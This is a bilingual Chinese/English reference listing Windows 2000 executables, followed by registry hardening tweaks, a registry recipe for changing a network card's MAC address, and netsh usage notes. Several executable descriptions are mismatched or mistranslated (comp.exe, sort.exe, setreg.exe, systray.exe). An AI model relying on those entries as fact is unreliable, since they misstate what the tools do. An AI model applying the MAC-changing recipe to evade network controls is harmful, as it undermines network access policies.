ckcnv.exe > Cookie Convertor 变换Cookie cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理 cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具 clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器 clipsrv.exe > Start the clipboard Server 运行Clipboard服务 clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单 cluster.exe > Display a cluster in a domain 显示域的集群 _cmd_.exe > Famous command prompt 没什么好说的! cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理 cmmgr32.exe > Connection Manager 连接管理器 cmmon32.exe > Connection Manager Monitor 连接管理器监视 cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序 comclust.exe > about cluster server 集群 comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容* compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态 conime.exe > Console IME IME控制台 control.exe > Starts the control panel 控制面板 convert.exe > Convert File System to NTFS 转换文件系统到NTFS convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式 cprofile.exe > Copy profiles 转换显示模式 cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本 csrss.exe > Client Server Runtime Process 客户服务器Runtime进程 csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序 dbgtrace.exe > 和Terminal Server相关 dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性 dcphelp.exe > ? dcpromo.exe > Promote a domain controller to ADSI AD安装向导 ddeshare.exe > Display DDE shares on local or remote computer DDE共享 ddmprxy.exe > debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦! dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序 dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序 dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树 dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化 dfssvc.exe > Distributed File System Server 分布式文件系统服务器 diantz.exe > MS Cabinet Maker 制作CAB文件 diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器 dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程 dllhst3g.exe > dmadmin.exe > Disk Manager Service 磁盘管理服务 dmremote.exe > Part of disk management 磁盘管理服务的一部分 dns.exe > DNS Applications DNS doskey.exe > recalls Windows command lines and creates macros 命令行创建宏 dosx.exe > DOS Extender DOS扩展 dplaysvr.exe > Direct Play Helper 直接运行帮助 drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测 drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理 dtcsetup.exe > Installs MDTC dvdplay.exe > Windows 2000 DVD player DVD播放 dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具 edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!) esentutl.exe > MS Database Utility MS数据库工具 eudcedit.exe > Private character editor Ture Type造字程序 eventvwr.exe > Windows 2000 Event Viewer 事件查看器 evnt_cmd_.exe > Event to trap translator; Configuration tool evntwin.exe > Event to trap translator setup exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制 expand.exe > Expand Files that have been compressed 解压缩 extrac32.exe > CAB File extraction utility 解CAB工具 fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件 faxcover.exe > Fax Cover page editor 传真封面编辑 faxqueue.exe > Display Fax Queue 显示传真队列 faxsend.exe > Fax Wizard for sending faxes 发送传真向导 faxsvc.exe > Starts fax server 启动传真服务 fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同 find.exe > Searches for a text string in file or files 查找文件中的文本行 findstr.exe > Searches for strings in files 查找文件中的行 finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果 fixmapi.exe > Fix mapi files 修复MAPI文件 flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录 fontview.exe > Display fonts in a font file 显示字体文件中的字体 forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行 freecell.exe > Popular Windows Game 空当接龙 ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了 gdi.exe > Graphic Device Interface 图形界面驱动 grovel.exe > grpconv.exe > Program Manager Group Convertor 转换程序管理员组 help.exe > displays help for Windows 2000 commands 显示帮助 hostname.exe > Display hostname for machine. 显示机器的Hostname ie4uinit.exe > IE5 User Install tool IE5用户安装工具 ieshwiz.exe > Customize folder wizard 自定义文件夹向导 iexpress.exe > Create and setup packages for install 穿件安装包 iisreset.exe > Restart IIS Admin Service 重启IIS服务 internat.exe > Keyboard Language Indicator Applet 键盘语言指示器 ipconfig.exe > Windows 2000 IP configuration. 察看IP配置 ipsecmon.exe > IP Security Monitor IP安全监视器 ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序 irftp.exe > Setup FTP for wireless communication 无线连接 ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务 jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器 jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库 jetpack.exe > Compact Jet Database. 压缩Jet数据库 jview.exe > Command-line loader for Java Java的命令行装载者 krnl386.exe > Core Component for Windows 2000 2000的核心组件 label.exe > Change label for drives 改变驱动器的卷标 lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导 ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理 licmgr.exe > Terminal Server License Manager 终端服务许可协议管理 lights.exe > display connection status lights 显示连接状况 llsmgr.exe > Windows 2000 License Manager 2000许可协议管理 llssrv.exe > Start the license Server 启动许可协议服务器 lnkstub.exe > locator.exe > RPC Locator 远程定位 lodctr.exe > Load perfmon counters 调用性能计数 logoff.exe > Log current user off. 注销用户 lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务 lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。 lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域 macfile.exe > Used for managing MACFILES 管理MACFILES magnify.exe > Used to magnify the current screen 放大镜 makecab.exe > MS Cabinet Maker 制作CAB文件 mdm.exe > Machine Debug Manager 机器调试管理 mem.exe > Display current Memory stats 显示内存状态 migpwd.exe > Migrate passwords. 迁移密码 mmc.exe > Microsoft Management Console 控制台 mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享 mobsync.exe > Manage Synchronization. 同步目录管理器 mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。 mplay32.exe > MS Media Player 媒体播放器 mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序 mq1sync.exe > mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具 mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置 mqmig.exe > MSMQ Migration Utility 信息队列迁移工具 mqsvc.exe > ? mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由 mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台 msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户 mshta.exe > HTML Application HOST HTML应用程序主机 msiexec.exe > Starts Windows Installer Program 开始Windows安装程序 mspaint.exe > Microsoft Paint 画板 msswchx.exe > mstask.exe > Task Schedule Program 任务计划表程序 mstinit.exe > Task scheduler setup 任务计划表安装 narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人 nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。 nddeapir.exe > NDDE API Server side NDDE API服务器端 net.exe > Net Utility 详细用法看/? net1.exe > Net Utility updated version from MS Net的升级版 netdde.exe > Network DDE will install itself into the background 安装自己到后台 netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。 netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。 nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。 notepad.exe > Opens Windows 2000 Notepad 记事本 nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。 ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具 ntbooks.exe > Starts Windows Help Utility 帮助 ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护 ntfrs.exe > NT File Replication Service NT文件复制服务 ntfrsupg.exe > ntkrnlpa.exe > Kernel patch 核心补丁 ntoskrnl.exe > Core NT Kernel KT的核心 ntsd.exe > ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境 nw16.exe > Netware Redirector NetWare转向器 nwscript.exe > runs netware scripts 运行Netware脚本 odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理 odbcconf.exe > Configure ODBC driver`s and data source`s from command line 命令行配置ODBC驱动和数据源 os2.exe > An OS/2 Warp Server (os2 /o) OS/2 os2srv.exe > An OS/2 Warp Server OS/2 os2ss.exe > An OS/2 Warp Server OS/2 osk.exe > On Screen Keyboard 屏幕键盘 packager.exe > Windows 2000 Packager Manager 对象包装程序 pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序 pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\\USERS\\DEFAULT." 启动便携式存档互换 (Pax) 实用程序 pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误 perfmon.exe > Starts Windows Performance Monitor 性能监视器 ping.exe > Packet Internet Groper 验证与远程计算机的连接 posix.exe > Used for backward compatibility with Unix 用于兼容Unix print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。 progman.exe > Program manager 程序管理器 proquota.exe > Profile quota program psxss.exe > POSIX Subsystem Application Posix子系统应用程序 qappsrv.exe > Displays the available application terminal servers on the network qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息(需终端服务) query.exe > Query TERMSERVER user process and sessions 查询进程和对话 quser.exe > Display information about a user logged on 显示用户登陆的信息(需终端服务) qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息 rasadmin.exe > Start the remote access admin service 启动远程访问服务 rasautou.exe > Creates a RAS connection 建立一个RAS连接 rasdial.exe > Dial a connection 拨号连接 rasphone.exe > Starts a RAS connection 运行RAS连接 rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件 rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件 recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。 redir.exe > Starts the redirector service 运行重定向服务 regedt32.exe > 32-bit register service 32位注册服务 regini.exe > modify registry permissions from within a script 用脚本修改注册许可 register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序 regsvc.exe > regsvr32.exe > Registers and unregister`s dll`s. As to how and where it register`s them I dont know. 注册和反注册DLL regtrace.exe > Options to tune debug options for applications failing to dump trace statements remrras.exe > replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。 reset.exe > Reset an active section 重置活动部分 rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。 risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务 route.exe > display or edit the current routing tables. 控制网络路由表 routemon.exe > no longer supported 不再支持了! router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统 rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令 rsm.exe > Mounts and configures remote system media 配置远程系统媒体 rsnotify.exe > Remote storage notification recall 远程存储通知回显 rsvp.exe > Resource reservation protocol 源预约协议 runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序 rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序 runonce.exe > Causes a program to run during startup 运行程序再开始菜单中 rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值 savedump.exe > Does not write to e:\\winnt\\user.dmp 不写入User.dmp中 scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器 schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划 secedit.exe > Starts Security Editor help 自动安全性配置管理 services.exe > Controls all the services 控制所有服务 sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal 设置高对比 setreg.exe > Shows the Software Publishing State Key values 显示软件发布的国家语言 setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序(转到控制面板) setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号 sfc.exe > System File Checker test and check system files for integrity 系统文件检查 sfmprint.exe > Print Services for Macintosh 打印Macintosh服务 sfmpsexe.exe > sfmsvc.exe > shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话 share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容 shmgrate.exe > shrpubw.exe > Create and Share folders 建立和共享文件夹 sigverif.exe > File Signature Verification 文件签名验证 skeys.exe > Serial Keys utility 序列号制作工具 smlogsvc.exe > Performance Logs and Alerts 性能日志和警报 smss.exe > sndrec32.exe > starts the Windows Sound Recorder 录音机 sndvol32.exe > Display the current volume information 显示声音控制信息 snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议 snmptrap.exe > Utility used with SNMP SNMP工具 sol.exe > Windows Solitaire Game 纸牌 sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上 SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分 sprestrt.exe > srvmgr.exe > Starts the Windows Server Manager 服务器管理器 stimon.exe > WDM StillImage- > Monitor stisvc.exe > WDM StillImage- > Service subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联 svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程 syncapp.exe > Creates Windows Briefcase. 创建Windows文件包 sysedit.exe > Opens Editor for 4 system files 系统配置编辑器 syskey.exe > Encrypt and secure system database NT账号数据库按群工具 sysocmgr.exe > Windows 2000 Setup 2000安装程序 systray.exe > Starts the systray in the lower right corner. 在低权限运行systray taskman.exe > Task Manager 任务管理器 taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器 tcmsetup.exe > telephony client wizard 电话服务客户安装 tcpsvcs.exe > TCP Services TCP服务 .exe > Telnet Utility used to connect to Telnet Server termsrv.exe > Terminal Server 终端服务 tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件 tftpd.exe > Trivial FTP Daemon themes.exe > Change Windows Themes 桌面主题 tlntadmn.exe > Telnet Server Administrator Telnet服务管理 tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话 tlntsvr.exe > Start the Telnet Server 开始Telnet服务 tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由 tsadmin.exe > Terminal Server Administrator 终端服务管理器 tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话 tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户 tskill.exe > Kill a Terminal server process 杀掉终端服务 tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果 tsshutdn.exe > Shutdown the system 关闭系统 unlodctr.exe > Part of performance monitoring 性能监视器的一部分 upg351db.exe > Upgrade a jet database 升级Jet数据库 ups.exe > UPS service UPS服务 user.exe > Core Windows Service Windows核心服务 userinit.exe > Part of the winlogon process Winlogon进程的一部分 usrmgr.exe > Start the windows user manager for domains 域用户管理器 utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器 verifier.exe > Driver Verifier Manager Driver Verifier Manager vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM w32tm.exe > Windows Time Server 时间服务器 wextract.exe > Used to extract windows files 解压缩Windows文件 winchat.exe > Opens Windows Chat 打开Windows聊天 winhlp32.exe > Starts the Windows Help System 运行帮助系统 winlogon.exe > Used as part of the logon process. Logon进程的一部分 winmine.exe > windows Game 挖地雷 winmsd.exe > Windows Diagnostic utility 系统信息 wins.exe > Wins Service Wins服务 winspool.exe > Print Routing 打印路由 winver.exe > Displays the current version of Windows 显示Windows版本 wizmgr.exe > Starts Windows Administration Wizards Windows管理向导 wjview.exe > Command line loader for Java 命令行调用Java wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee`s VM 启动时,32位API需要 wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows wpnpinst.exe > ? write.exe > Starts MS Write Program 写字板 wscript.exe > Windows Scripting Utility 脚本工具 wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导 xcopy.exe > Used to copy directories 复制文件和目录,包括子目录 1、设置生存时间 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128) 说明:指定传出IP数据包中设置的默认生存时间(TTL)值。TTL决定了IP数据包在到达目标前在网络中生存的最大时间。它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机*作系统。 2、防止ICMP重定向报文的攻击 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters EnableICMPRedirects REG_DWORD 0x0(默认值为0x1) 说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文。 3、禁止响应ICMP路由通告报文 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Inter faces\\interface PerformRouterDiscovery REG_DWORD 0x0(默认值为0x2) 说明:“ICMP路由公告”功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常。因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DH CP发送路由器发现选项时启用。 4、防止SYN洪水攻击 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters SynAttackProtect REG_DWORD 0x2(默认值为0x0) 说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间。路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfO penRetried设置超出范围时,保护机制才会采取措施。 5、禁止C$、D$一类的缺省共享 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters AutoShareServer、REG_DWORD、0x0 6、禁止ADMIN$缺省共享 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters AutoShareWks、REG_DWORD、0x0 7、限制IPC$缺省共享 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa restrictanonymous REG_DWORD 0x0 缺省 0x1 匿名用户无法列举本机用户列表 0x2 匿名用户无法连接本机IPC$共享 说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server 8、不支持IGMP协议 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters IGMPLevel REG_DWORD 0x0(默认值为0x2) 说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉。改成0后用route print将看不到那个讨厌的224.0.0.0项了。 9、设置arp缓存老化时间设置 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒) ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600) 说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedL ife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期。每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。 10、禁止死网关监测技术 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters EnableDeadGWDetect REG_DWORD 0x0(默认值为ox1) 说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关。有时候这并不是一项好主意,建议禁止死网关监测。 11、不支持路由功能 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters IPEnableRouter REG_DWORD 0x0(默认值为0x0) 说明:把值设置为0x1可以使Win2000具备路由功能,由此带来不必要的问题。 12、做NAT时放大转换的对外端口最大值 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0x1388--十进制为5000) 说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数。正常情况下,短期端口的分配数量为1024-5000。将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534)。使用NAT时建议把值放大点。 13、修改MAC地址 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\ 找到右窗口的说明为"网卡"的目录, 比如说是{4D36E972-E325-11CE-BFC1-08002BE10318} 展开之,在其下的0000,0001,0002...的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值,比如说是"004040404040"然后重起计算机,ipconfig /all看看。 Netsh 是本地或远程计算机的 Windows 2000 网络组件的命令行和脚本实用程序。为了存档或配置其他服务器,Netsh 实用程序也可以将配置脚本保存在文本文件中。 Netsh 实用程序是一个外壳,它通过附加的"Netsh 帮助 DLL",可以支持多个 Windows 2000 组件。"Netsh 帮助 DLL"提供用来监视或配置特定 Windows 2000 网络组件的其他命令,从而扩展了 Netsh 的功能。每个"Netsh 帮助 DLL"都为特定的网络组件提供了一个环境和一组命令。每个环境中都可以有子环境。例如,在路由环境中存在子环境 Ip 和 Ipx,它们将 IP 路由和 IPX 路由命令集中在一起。 Netsh 命令行选项包括下列各项: 用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine] 下列指令有效: 此上下文中的命令: 下列的子上下文可用: 若需要命令的更多帮助信息,请键入命令, -c Context 命令 -f ScriptFile -r RemoteMachine 您可以将命令缩写为意义明确的最短的字符串。例如,发布 sh ip int 命令相当于发布 show ip interface。Netsh 命令可以是全局的或特定环境的。全局命令可以在任何环境中发布,并用于一般的 Netsh 实用程序功能。特定环境的命令随环境而变化。您可以将发布的命令记录在日志文件中,以创建 netsh 命令会话的审核踪迹。 列出了 netsh 全局命令。 命令 说明 Netsh 实用程序有如下命令模式: 联机 脱机 脚本 要创建当前配置的脚本,请使用 dump 全局命令。dump 命令根据 netsh 命令输出当前运行的配置。可以使用该命令创建的脚本来配置新的服务器或重新配置现有的服务器。如果要对组件的配置作很大的更改,推荐您使用 dump 命令开始配置会话,以防在进行更改前需要还原配置。 Interface 命令 当在命令提示符下键入命令时,请在每个命令前加上 netsh。要获得每个命令的精确语法,可在命令之后键入 ?。选项例如,要获得 netsh interface 命令的命令行"帮助",请在命令提示符下键入 netsh interface?。 命令 说明 ……… (省略二、三千字)
D:\\>netsh reset all
# ----------------------------------
set address name = "本地连接 2" source = dhcp # "本地连接" 的接口 IP 配置 set address name = "本地连接" source = static addr = 192.168.1.10 mask = 255.255.255.0
interface ip 如上保存为 local.sh D:\\>netsh exec local.sh |
|
|